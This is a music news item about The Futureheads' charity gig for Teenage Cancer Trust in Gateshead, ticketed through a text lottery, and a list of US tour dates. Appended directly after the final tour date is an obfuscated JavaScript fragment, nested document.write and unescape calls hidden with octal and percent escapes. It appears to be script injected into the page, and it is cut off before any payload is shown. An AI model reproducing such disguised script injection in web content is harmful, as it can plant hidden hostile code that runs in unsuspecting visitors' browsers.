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The Futureheads have announced details of a show in aid Teenage Cancer Trust.
The band will headline an intimate gig at The Sage in Gateshead on Saturday (September 16).
Tickets can be obtained via a 'text lottery'. According the TheFutureheads.com website: "(This gives) fans the opportunity to donate to the cause and to be in with a chance of getting a pair of tickets to the show.
"Texts cost £2 each and all proceeds will go to Teenage Cancer Trust, which is planning to build a state-of-the-art unit at Newcastle's Royal Victoria Infirmary.
"To enter the text lottery to be in with a chance of winning a pair of tickets you have to text '3Bandstand {SPACE} your name to 86633...150 winners chosen at random will each receive a pair of tickets to the show."
Meanwhile The Futureheads have also confirmed a new US tour. They will play:
Seattle Neumos (October 4)
Portland Wonder Ballroom (5)
Sacramento Harlow's Night Club (6)
Sna Fancisco Mezzanine (7)
San Diego House of Blues (9)
Los Angeles Safari Sams (11)
Tempe The Clubhouse (12)
Las Vegas Beauty Barr (13)
Tuscon Rialto Theatre (14)
Tulsa Bob's @ Cains Ballroom (17)
Lawrence The Bottleneck (18)
St Louis Mississippi Nights (19)
Chicago Metro (21)
Cinacinnati 20th Century Theatre (22)
Indianapolis Birdy's (23)
Nashville Exit/In (24)
Baltimore Sonar (26)
Brooklyn Warsaw (27)
Boston Paradise Rock Club (28)document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
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